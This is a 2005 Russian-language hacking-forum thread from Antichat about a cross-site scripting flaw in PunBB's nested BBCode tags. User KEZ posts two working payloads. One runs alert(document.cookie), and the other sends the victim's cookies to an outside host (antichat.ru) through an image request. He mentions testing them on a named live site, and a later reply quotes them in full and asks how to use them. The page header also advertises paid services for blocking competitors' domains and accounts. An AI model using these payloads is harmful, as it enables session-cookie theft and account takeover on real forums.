XSS в PunBB (вложеные теги)

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
XSS в PunBB (вложеные теги)

Опции темы

Поиск в этой теме

Опции просмотра

XSS в PunBB (вложеные теги)

31.03.2005, 17:09

KEZ

Guest

Сообщений: n/a

Провел на форуме:

Репутация:

XSS в PunBB (вложеные теги)

Нашел вложеные теги, сделал видео.

1.

Код:

[еmail=[urл=s=`]a[/urл]]a[/еmail]`xss=`alert(document.cookie);this.xss=null` style=top:expression(eval(this.xss));

Код:

[еmail=[urл=s=`]a[/urл]]a[/еmail]`xss=`i=new Image(); i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null` style=top:expression(eval(this.xss));

ВНИМАНИЕ! Намеренно (чтобы теги не парсились) я написал [емейл] через _рускую_ е и url тоже через Л.
Перепешите А НЕ КОПИРУЙТЕ ТЕКСТ!

Проверялось на http://region59.com/forum - между прочим хороший варез - сайт

Последний раз редактировалось KEZ; 31.03.2005 в 17:12..

31.03.2005, 21:59

PinkPanther

[ розовый мафиозо ]

Регистрация: 16.03.2005

Сообщений: 301

Провел на форуме:
1736355

Репутация: 241

Блин, матерые какие-то у тебя XSS-inj.. Я ещё не проверял, но имхо можно было бы сделать и короче. Хотя, хз, посмотрим...........

Кстати, а где видео? Если записал, почему ещё не вывесил?

01.04.2005, 01:25

expertlamer

Познающий

Регистрация: 15.03.2005

Сообщений: 34

Провел на форуме:
0

Репутация: 5

KEZ ты хотел сказать спаренные теги а не вложенные правда?

Нет там вложенных тегов у тебя есть спаренные.

01.04.2005, 14:27

KEZ

Guest

Сообщений: n/a

Провел на форуме:

Репутация:

Мои теги САМЫЕ простые. Проще некуда. Теги+baclslash и все. Проше незя.
Видео сделал. Вложеные теги = спареные теги.

01.04.2005, 18:32

KEZ

Guest

Сообщений: n/a

Провел на форуме:

Репутация:

Видео уже вывесил.
А вот насчет тегов - там все проще некуда

08.10.2005, 01:33

Kond4r

Участник форума

Регистрация: 27.09.2005

Сообщений: 103

Провел на форуме:
283836

Репутация: 3

Спасибо Kez. Ты дал мне ответ на одну проблемму с которой я мучился целых два дня!

23.03.2008, 22:48

~~ch[@]ch~~

Banned

Регистрация: 21.06.2007

Сообщений: 87

Провел на форуме:
543344

Репутация: 43

Цитата:

Сообщение от KEZ

Нашел вложеные теги, сделал видео.

1.

Код:

[еmail=[urл=s=`]a[/urл]]a[/еmail]`xss=`alert(document.cookie);this.xss=null` style=top:expression(eval(this.xss));

Код:

[еmail=[urл=s=`]a[/urл]]a[/еmail]`xss=`i=new Image(); i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null` style=top:expression(eval(this.xss));

кинь пожалуйста пример как им пользоваться...заранее спасибо